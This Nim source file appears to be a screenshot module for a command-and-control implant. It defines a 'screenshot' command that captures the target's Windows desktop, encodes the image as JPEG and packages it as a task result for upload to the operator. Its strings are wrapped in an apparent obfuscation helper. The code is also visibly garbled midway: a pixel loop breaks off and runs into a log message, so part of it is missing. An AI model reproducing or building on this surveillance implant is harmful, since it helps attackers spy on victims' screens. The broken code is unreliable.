import ../common/[types, utils] # Define function prototype proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult # Module definition let module* = Module( name: protect("screenshot"), description: protect("Take and retrieve a screenshot of the target desktop."), moduleType: MODULE_SCREENSHOT, commands: @[ Command( name: protect("screenshot"), commandType: CMD_SCREENSHOT, description: protect("Take a screenshot of the target system."), example: protect("screenshot"), arguments: @[], execute: executeScreenshot ) ] ) # Implement execution functions when not defined(agent): proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): import winim/lean import winim/inc/wingdi import strutils, strformat, times, pixie import stb_image/write as stbiw import ../agent/core/io import ../agent/protocol/result import ../common/[utils, serialize] proc bmpToJpeg(data: seq[byte], quality: int = 80): seq[byte] = let img: Image = decodeImage(Bytes.toString(data)) # Convert to JPEG image for smaller file size var rgbaData = newSeq[byte](img.width * img.height * 4) var i = 0 for y in 0..] Taking and uploading screenshot." let screenshotFilename: string = fmt"screenshot_{getTime().toUnix()}.jpeg" screenshotBytes: seq[byte] = bmpToJpeg(takeScreenshot()) var packer = Packer.init() packer.addDataWithLengthPrefix(string.toBytes(screenshotFilename)) packer.addDataWithLengthPrefix(screenshotBytes) let data = packer.pack() return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data) except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))